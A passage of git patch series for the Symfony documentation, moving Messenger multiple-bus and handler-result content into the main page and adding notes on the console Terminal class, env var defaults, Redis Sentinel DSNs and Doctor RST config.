+                    <tag name="messenger.message_handler" bus="command.bus"/>
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
+                    <tag name="messenger.message_handler" bus="query.bus"/>
+                </instanceof>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
+
+        return function(ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
+
+Debugging the Buses
+~~~~~~~~~~~~~~~~~~~
+
+The ``debug:messenger`` command lists available messages & handlers per bus.
+You can also restrict the list to a specific bus by providing its name as an argument.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:messenger
+
+      Messenger
+      =========
+
+      command.bus
+      -----------
+
+       The following messages can be dispatched:
+
+       ---------------------------------------------------------------------------------------
+        App\Message\DummyCommand
+            handled by App\MessageHandler\DummyCommandHandler
+        App\Message\MultipleBusesMessage
+            handled by App\MessageHandler\MultipleBusesMessageHandler
+       ---------------------------------------------------------------------------------------
+
+      query.bus
+      ---------
+
+       The following messages can be dispatched:
+
+       ---------------------------------------------------------------------------------------
+        App\Message\DummyQuery
+            handled by App\MessageHandler\DummyQueryHandler
+        App\Message\MultipleBusesMessage
+            handled by App\MessageHandler\MultipleBusesMessageHandler
+       ---------------------------------------------------------------------------------------
+
+.. tip::
+
+    The command will also show the PHPDoc description of the message and handler classes.
 
 Redispatching a Message
 -----------------------
@@ -2673,3 +3181,4 @@ Learn more
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
+.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
deleted file mode 100644
index ae810a7fee1..00000000000
--- a/messenger/dispatch_after_current_bus.rst
+++ /dev/null
@@ -1,127 +0,0 @@
-Transactional Messages: Handle New Messages After Handling is Done
-==================================================================
-
-A message handler can ``dispatch`` new messages while handling others, to either the
-same or a different bus (if the application has
-:doc:`multiple buses </messenger/multiple_buses>`). Any errors or exceptions that
-occur during this process can have unintended consequences, such as:
-
-- If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws
-  an exception, then any database transactions in the original handler will be
-  rolled back.
-- If the message is dispatched to a different bus, then the dispatched message
-  will be handled even if some code later in the current handler throws an
-  exception.
-
-An Example ``RegisterUser`` Process
------------------------------------
-
-Let's take the example of an application with both a *command* and an *event*
-bus. The application dispatches a command named ``RegisterUser`` to the command
-bus. The command is handled by the ``RegisterUserHandler`` which creates a
-``User`` object, stores that object to a database and dispatches a
-``UserRegistered`` message to the event bus.
-
-There are many handlers to the ``UserRegistered`` message, one handler may send
-a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware``
-to wrap all database queries in one database transaction.
-
-**Problem 1:** If an exception is thrown when sending the welcome email, then
-the user will not be created because the ``DoctrineTransactionMiddleware`` will
-rollback the Doctrine transaction, in which the user has been created.
-
-**Problem 2:** If an exception is thrown when saving the user to the database,
-the welcome email is still sent because it is handled asynchronously.
-
-DispatchAfterCurrentBusMiddleware Middleware
---------------------------------------------
-
-For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be done by
-using the ``DispatchAfterCurrentBusMiddleware`` and adding a
-``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
-
-    // src/Messenger/CommandHandler/RegisterUserHandler.php
-    namespace App\Messenger\CommandHandler;
-
-    use App\Entity\User;
-    use App\Messenger\Command\RegisterUser;
-    use App\Messenger\Event\UserRegistered;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\Messenger\Envelope;
-    use Symfony\Component\Messenger\MessageBusInterface;
-    use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp;
-
-    class RegisterUserHandler
-    {
-        public function __construct(
-            private MessageBusInterface $eventBus,
-            private EntityManagerInterface $em,
-        ) {
-        }
-
-        public function __invoke(RegisterUser $command): void
-        {
-            $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
-            $this->em->persist($user);
-
-            // The DispatchAfterCurrentBusStamp marks the event message to be handled
-            // only if this handler does not throw an exception.
-
-            $event = new UserRegistered($command->getUuid());
-            $this->eventBus->dispatch(
-                (new Envelope($event))
-                    ->with(new DispatchAfterCurrentBusStamp())
-            );
-
-            // ...
-        }
-    }
-
-.. code-block:: php
-
-    // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php
-    namespace App\Messenger\EventSubscriber;
-
-    use App\Entity\User;
-    use App\Messenger\Event\UserRegistered;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\Mailer\MailerInterface;
-    use Symfony\Component\Mime\RawMessage;
-
-    class WhenUserRegisteredThenSendWelcomeEmail
-    {
-        public function __construct(
-            private MailerInterface $mailer,
-            EntityManagerInterface $em,
-        ) {
-        }
-
-        public function __invoke(UserRegistered $event): void
-        {
-            $user = $this->em->getRepository(User::class)->find($event->getUuid());
-
-            $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName()));
-        }
-    }
-
-This means that the ``UserRegistered`` message would not be handled until
-*after* the ``RegisterUserHandler`` had completed and the new ``User`` was
-persisted to the database. If the ``RegisterUserHandler`` encounters an
-exception, the ``UserRegistered`` event will never be handled. And if an
-exception is thrown while sending the welcome email, the Doctrine transaction
-will not be rolled back.
-
-.. note::
-
-    If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
-    exception will be wrapped into a ``DelayedMessageHandlingException``. Using
-    ``DelayedMessageHandlingException::getExceptions`` will give you all
-    exceptions that are thrown while handling a message with the
-    ``DispatchAfterCurrentBusStamp``.
-
-The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
-configuring your middleware manually, be sure to register
-``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware
-chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for
-*all* of the buses being used.
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
deleted file mode 100644
index 39bab140a58..00000000000
--- a/messenger/handler_results.rst
+++ /dev/null
@@ -1,99 +0,0 @@
-Getting Results from your Handler
-=================================
-
-When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware`
-adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message.
-You can use this to get the value returned by the handler(s)::
-
-    use Symfony\Component\Messenger\MessageBusInterface;
-    use Symfony\Component\Messenger\Stamp\HandledStamp;
-
-    $envelope = $messageBus->dispatch(new SomeMessage());
-
-    // get the value that was returned by the last message handler
-    $handledStamp = $envelope->last(HandledStamp::class);
-    $handledStamp->getResult();
-
-    // or get info about all of handlers
-    $handledStamps = $envelope->all(HandledStamp::class);
-
-Working with Command & Query Buses
-----------------------------------
-
-The Messenger component can be used in CQRS architectures where command & query
-buses are central pieces of the application. Read Martin Fowler's
-`article about CQRS`_ to learn more and
-:doc:`how to configure multiple buses </messenger/multiple_buses>`.
-
-As queries are usually synchronous and expected to be handled once,
-getting the result from the handler is a common need.
-
-A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result
-of the handler when processing synchronously. It also ensures that exactly one
-handler is registered. The ``HandleTrait`` can be used in any class that has a
-``$messageBus`` property::
-
-    // src/Action/ListItems.php
-    namespace App\Action;
-
-    use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsQueryResult;
-    use Symfony\Component\Messenger\HandleTrait;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class ListItems
-    {
-        use HandleTrait;
-
-        public function __construct(
-            private MessageBusInterface $messageBus,
-        ) {
-        }
-
-        public function __invoke(): void
-        {
-            $result = $this->query(new ListItemsQuery(/* ... */));
-
-            // Do something with the result
-            // ...
-        }
-
-        // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsQueryResult
-        {
-            return $this->handle($query);
-        }
-    }
-
-Hence, you can use the trait to create command & query bus classes.
-For example, you could create a special ``QueryBus`` class and inject it
-wherever you need a query bus behavior instead of the ``MessageBusInterface``::
-
-    // src/MessageBus/QueryBus.php
-    namespace App\MessageBus;
-
-    use Symfony\Component\Messenger\Envelope;
-    use Symfony\Component\Messenger\HandleTrait;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class QueryBus
-    {
-        use HandleTrait;
-
-        public function __construct(
-            private MessageBusInterface $messageBus,
-        ) {
-        }
-
-        /**
-         * @param object|Envelope $query
-         *
-         * @return mixed The handler returned value
-         */
-        public function query($query): mixed
-        {
-            return $this->handle($query);
-        }
-    }
-
-.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
deleted file mode 100644
index 49e4d3e568e..00000000000
--- a/messenger/multiple_buses.rst
+++ /dev/null
@@ -1,283 +0,0 @@
-Multiple Buses
-==============
-
-A common architecture when building applications is to separate commands from
-queries. Commands are actions that do something and queries fetch data. This
-is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's
-`article about CQRS`_ to learn more. This architecture could be used together
-with the Messenger component by defining multiple buses.
-
-A **command bus** is a little different from a **query bus**. For example, command
-buses usually don't provide any results and query buses are rarely asynchronous.
-You can configure these buses and their rules by using middleware.
-
-It might also be a good idea to separate actions from reactions by introducing
-an **event bus**. The event bus could have zero or more subscribers.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        framework:
-            messenger:
-                # The bus that is going to be injected when injecting MessageBusInterface
-                default_bus: command.bus
-                buses:
-                    command.bus:
-                        middleware:
-                            - validation
-                            - doctrine_transaction
-                    query.bus:
-                        middleware:
-                            - validation
-                    event.bus:
-                        default_middleware:
-                            enabled: true
-                            # set "allow_no_handlers" to true (default is false) to allow having
-                            # no handler configured for this bus without throwing an exception
-                            allow_no_handlers: false
-                            # set "allow_no_senders" to false (default is true) to throw an exception
-                            # if no sender is configured for this bus
-                            allow_no_senders: true
-                        middleware:
-                            - validation
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <!-- The bus that is going to be injected when injecting MessageBusInterface -->
-                <framework:messenger default-bus="command.bus">
-                    <framework:bus name="command.bus">
-                        <framework:middleware id="validation"/>
-                        <framework:middleware id="doctrine_transaction"/>
-                    </framework:bus>
-                    <framework:bus name="query.bus">
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                    <framework:bus name="event.bus">
-                        <!-- set "allow-no-handlers" to true (default is false) to allow having
-                              no handler configured for this bus without throwing an exception -->
-                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
-                             if no sender is configured for this bus -->
-                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            // The bus that is going to be injected when injecting MessageBusInterface
-            $framework->messenger()->defaultBus('command.bus');
-
-            $commandBus = $framework->messenger()->bus('command.bus');
-            $commandBus->middleware()->id('validation');
-            $commandBus->middleware()->id('doctrine_transaction');
-
-            $queryBus = $framework->messenger()->bus('query.bus');
-            $queryBus->middleware()->id('validation');
-
-            $eventBus = $framework->messenger()->bus('event.bus');
-            $eventBus->defaultMiddleware()
-                ->enabled(true)
-                // set "allowNoHandlers" to true (default is false) to allow having
-                // no handler configured for this bus without throwing an exception
-                ->allowNoHandlers(false)
-                // set "allowNoSenders" to false (default is true) to throw an exception
-                // if no sender is configured for this bus
-                ->allowNoSenders(true)
-            ;
-            $eventBus->middleware()->id('validation');
-        };
-
-.. versionadded:: 6.2
-
-    The ``allow_no_senders`` option was introduced in Symfony 6.2.
-
-This will create three new services:
-
-* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
-  type-hint (because this is the ``default_bus``);
-
-* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``;
-
-* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
-
-Restrict Handlers per Bus
--------------------------
-
-By default, each handler will be available to handle messages on *all*
-of your buses. To prevent dispatching a message to the wrong bus without an error,
-you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\MessageHandler\SomeCommandHandler:
-                tags: [{ name: messenger.message_handler, bus: command.bus }]
-                # prevent handlers from being registered twice (or you can remove
-                # the MessageHandlerInterface that autoconfigure uses to find handlers)
-                autoconfigure: false
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\MessageHandler\SomeCommandHandler">
-                    <tag name="messenger.message_handler" bus="command.bus"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        $container->services()
-            ->set(App\MessageHandler\SomeCommandHandler::class)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
-
-This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
-known by the ``command.bus`` bus.
-
-You can also automatically add this tag to a number of classes by using
-the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
-you can determine the message bus based on an implemented interface:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                # all services implementing the CommandHandlerInterface
-                # will be registered on the command.bus bus
-                App\MessageHandler\CommandHandlerInterface:
-                    tags:
-                        - { name: messenger.message_handler, bus: command.bus }
-
-                # while those implementing QueryHandlerInterface will be
-                # registered on the query.bus bus
-                App\MessageHandler\QueryHandlerInterface:
-                    tags:
-                        - { name: messenger.message_handler, bus: query.bus }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <!-- all services implementing the CommandHandlerInterface
-                     will be registered on the command.bus bus -->
-                <instanceof id="App\MessageHandler\CommandHandlerInterface">
-                    <tag name="messenger.message_handler" bus="command.bus"/>
-                </instanceof>
-
-                <!-- while those implementing QueryHandlerInterface will be
-                     registered on the query.bus bus -->
-                <instanceof id="App\MessageHandler\QueryHandlerInterface">
-                    <tag name="messenger.message_handler" bus="query.bus"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\MessageHandler\CommandHandlerInterface;
-        use App\MessageHandler\QueryHandlerInterface;
-
-        return function(ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            // ...
-
-            // all services implementing the CommandHandlerInterface
-            // will be registered on the command.bus bus
-            $services->instanceof(CommandHandlerInterface::class)
-                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
-
-            // while those implementing QueryHandlerInterface will be
-            // registered on the query.bus bus
-            $services->instanceof(QueryHandlerInterface::class)
-                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
-        };
-
-Debugging the Buses
--------------------
-
-The ``debug:messenger`` command lists available messages & handlers per bus.
-You can also restrict the list to a specific bus by providing its name as an argument.
-
-.. code-block:: terminal
-
-    $ php bin/console debug:messenger
-
-      Messenger
-      =========
-
-      command.bus
-      -----------
-
-       The following messages can be dispatched:
-
-       ---------------------------------------------------------------------------------------
-        App\Message\DummyCommand
-            handled by App\MessageHandler\DummyCommandHandler
-        App\Message\MultipleBusesMessage
-            handled by App\MessageHandler\MultipleBusesMessageHandler
-       ---------------------------------------------------------------------------------------
-
-      query.bus
-      ---------
-
-       The following messages can be dispatched:
-
-       ---------------------------------------------------------------------------------------
-        App\Message\DummyQuery
-            handled by App\MessageHandler\DummyQueryHandler
-        App\Message\MultipleBusesMessage
-            handled by App\MessageHandler\MultipleBusesMessageHandler
-       ---------------------------------------------------------------------------------------
-
-.. tip::
-
-    The command will also show the PHPDoc description of
-    the message and handler classes.
-
-.. _article about CQRS: https://martinfowler.com/bliki/CQRS.html

From aee3dc67e77fbb124988e527a6841b7e81110a9c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:42:37 +0200
Subject: [PATCH 3846/5766] [Console] Warn about writing contents and terminal
 height

---
 console.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console.rst b/console.rst
index 045091d7c50..2cf6234d92c 100644
--- a/console.rst
+++ b/console.rst
@@ -374,6 +374,11 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
+.. caution::
+
+    Terminals only allow overwriting the visible content, so you must take into
+    account the console height when trying to write/overwrite section contents.
+
 Console Input
 -------------
 

From bcc295af0b84c2e975c9e9aab8f7d60f83deb80f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 22 Sep 2023 09:14:23 +0200
Subject: [PATCH 3847/5766] [Console] Mention `Terminal`

---
 console.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/console.rst b/console.rst
index 2cf6234d92c..86c3edbf2cd 100644
--- a/console.rst
+++ b/console.rst
@@ -582,6 +582,24 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
+When testing your commands, it could be useful to understand how your command
+reacts on different settings like the width and the height of the terminal.
+Thanks to the :class:`Symfony\\Component\\Console\\Terminal` class, you can
+have access to such information::
+
+    use Symfony\Component\Console\Terminal;
+
+    $terminal = new Terminal();
+
+    // access to number of lines available
+    $height = $terminal->getHeight();
+
+    // access to number of columns available
+    $width = $terminal->getWidth();
+
+By default, the ``Terminal`` class uses the values of the
+``LINES`` and ``COLUMNS`` system environment variables.
+
 Logging Command Errors
 ----------------------
 

From 7cf92409e1278d0d7c3e7bc8e7eccf403f726dd0 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 22 Sep 2023 10:41:17 +0400
Subject: [PATCH 3848/5766] Update invalid return custom processor

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 6954e9117c1..856350aaef5 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -37,7 +37,7 @@ using a processor::
             try {
                 $session = $this->requestStack->getSession();
             } catch (SessionNotFoundException $e) {
-                return;
+                return $record;
             }
             if (!$session->isStarted()) {
                 return $record;

From d83bfd1b95ca77e3c39ef3551649fa235dc7c425 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 10:42:34 +0200
Subject: [PATCH 3849/5766] Tweaks

---
 configuration.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 930d909f0c3..9703dc24215 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,9 +674,9 @@ To define the value of an env var, you have several options:
 * :ref:`Encrypt the value as a secret <configuration-secrets>`;
 * Set the value as a real environment variable in your shell or your web server.
 
-It is possible to define an env var default value by defining a parameter with
-the same name. In the following example, we define a default value for the
-``SECRET`` env var if it has not been defined anywhere:
+If your application tries to use an env var that hasn't been defined, you'll see
+an exception. You can prevent that by defining a default value for the env var.
+To do so, define a parameter with the same name as the env var using this syntax:
 
 .. configuration-block::
 
@@ -684,6 +684,7 @@ the same name. In the following example, we define a default value for the
 
         # config/packages/framework.yaml
         parameters:
+            # if the SECRET env var value is not defined anywhere, Symfony uses this value
             env(SECRET): 'some_secret'
 
         # ...
@@ -701,6 +702,7 @@ the same name. In the following example, we define a default value for the
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <parameters>
+                <!-- if the SECRET env var value is not defined anywhere, Symfony uses this value -->
                 <parameter key="env(SECRET)">some_secret</parameter>
             </parameters>
 
@@ -716,6 +718,7 @@ the same name. In the following example, we define a default value for the
         use Symfony\Config\FrameworkConfig;
 
         return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            // if the SECRET env var value is not defined anywhere, Symfony uses this value
             $container->setParameter('env(SECRET)', 'some_secret');
 
             // ...

From ca1885a513432cf28268fe4f3c9ac1b0f52efba5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 10:56:32 +0200
Subject: [PATCH 3850/5766] Tweaks

---
 console.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 86c3edbf2cd..e9e3ebea4cc 100644
--- a/console.rst
+++ b/console.rst
@@ -584,22 +584,19 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 When testing your commands, it could be useful to understand how your command
 reacts on different settings like the width and the height of the terminal.
-Thanks to the :class:`Symfony\\Component\\Console\\Terminal` class, you can
-have access to such information::
+You have access to such information thanks to the
+:class:`Symfony\\Component\\Console\\Terminal` class:
 
     use Symfony\Component\Console\Terminal;
 
     $terminal = new Terminal();
 
-    // access to number of lines available
+    // gets the number of lines available
     $height = $terminal->getHeight();
 
-    // access to number of columns available
+    // gets the number of columns available
     $width = $terminal->getWidth();
 
-By default, the ``Terminal`` class uses the values of the
-``LINES`` and ``COLUMNS`` system environment variables.
-
 Logging Command Errors
 ----------------------
 

From 76c03ac7308abb8d438aea38fe4beee412658cb9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 22 Sep 2023 09:19:37 +0200
Subject: [PATCH 3851/5766] [Console] Mention `Terminal` color mode support

---
 console.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 390ffd3b81e..be8d593c999 100644
--- a/console.rst
+++ b/console.rst
@@ -575,8 +575,8 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 When testing your commands, it could be useful to understand how your command
-reacts on different settings like the width and the height of the terminal.
-You have access to such information thanks to the
+reacts on different settings like the width and the height of the terminal, or
+even the color mode being used. You have access to such information thanks to the
 :class:`Symfony\\Component\\Console\\Terminal` class:
 
     use Symfony\Component\Console\Terminal;
@@ -589,6 +589,17 @@ You have access to such information thanks to the
     // gets the number of columns available
     $width = $terminal->getWidth();
 
+    // gets the color mode
+    $colorMode = $terminal->getColorMode();
+
+    // changes the color mode
+    $colorMode = $terminal->setColorMode(AnsiColorMode::Ansi24);
+
+.. versionadded:: 6.2
+
+    The support for setting and getting the current color mode was introduced
+    in Symfony 6.2.
+
 Logging Command Errors
 ----------------------
 

From 79da0629e6ea7fdb1b747e3b55da4f1f10a6a50e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 11:02:26 +0200
Subject: [PATCH 3852/5766] Remove a versionadded directive

---
 console.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/console.rst b/console.rst
index 86f05625dd6..2aafad3f602 100644
--- a/console.rst
+++ b/console.rst
@@ -582,11 +582,6 @@ even the color mode being used. You have access to such information thanks to th
     // changes the color mode
     $colorMode = $terminal->setColorMode(AnsiColorMode::Ansi24);
 
-.. versionadded:: 6.2
-
-    The support for setting and getting the current color mode was introduced
-    in Symfony 6.2.
-
 Logging Command Errors
 ----------------------
 

From aa1981093ebdf050b87b637d9e216441733a4e65 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 22 Sep 2023 11:45:35 +0200
Subject: [PATCH 3853/5766] [Messenger] Add support for multiple Redis Sentinel
 hosts

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index bac7254ed59..a70dcfb45d9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1565,6 +1565,8 @@ The Redis transport DSN may looks like this:
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
     MESSENGER_TRANSPORT_DSN=redis:///var/run/redis.sock
+    # Multiple Redis Sentinel Hosts Example
+    MESSENGER_TRANSPORT_DSN=redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&sentinel_master=db
 
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
@@ -1616,6 +1618,10 @@ sentinel_master          String, if null or empty Sentinel      null
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.
 
+.. versionadded:: 6.4
+
+    Support for the multiple redis sentinel hosts DNS was introduced in Symfony 6.4.
+
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same

From f316bdc746cdb9317c0c150b9604eb4951e6b027 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 22 Sep 2023 11:02:14 +0200
Subject: [PATCH 3854/5766] Use Doctor RST 1.51.0

---
 .doctor-rst.yaml                 | 2 +-
 .github/workflows/ci.yaml        | 2 +-
 http_client.rst                  | 2 +-
 validation/custom_constraint.rst | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index dfb64c1ae8a..c307c959410 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -16,6 +16,7 @@ rules:
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
+    ensure_php_reference_syntax: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~
     forbidden_directives:
@@ -94,7 +95,6 @@ whitelist:
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
-        - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 5.1' # Private Services
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 44e17393aba..a7490527092 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.49.0
+                uses: docker://oskarstark/doctor-rst:1.51.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/http_client.rst b/http_client.rst
index 62fec487881..353f2024491 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1358,7 +1358,7 @@ installed in your application::
     // this won't hit the network if the resource is already in the cache
     $response = $client->request('GET', 'https://example.com/cacheable-resource');
 
-:class:`Symfony\\Component\\HttpClient\\CachingHttpClient`` accepts a third argument
+:class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument
 to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
 Consuming Server-Sent Events
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index b3909515fa3..57caa12a1e6 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -622,7 +622,7 @@ A class constraint validator must be applied to the class itself:
 Testing Custom Constraints
 --------------------------
 
-Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase``
+Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase`
 class to simplify writing unit tests for your custom constraints::
 
     // tests/Validator/ContainsAlphanumericValidatorTest.php

From 04cd09c27ad0234e404c9c4ebbd7194f988d8313 Mon Sep 17 00:00:00 2001
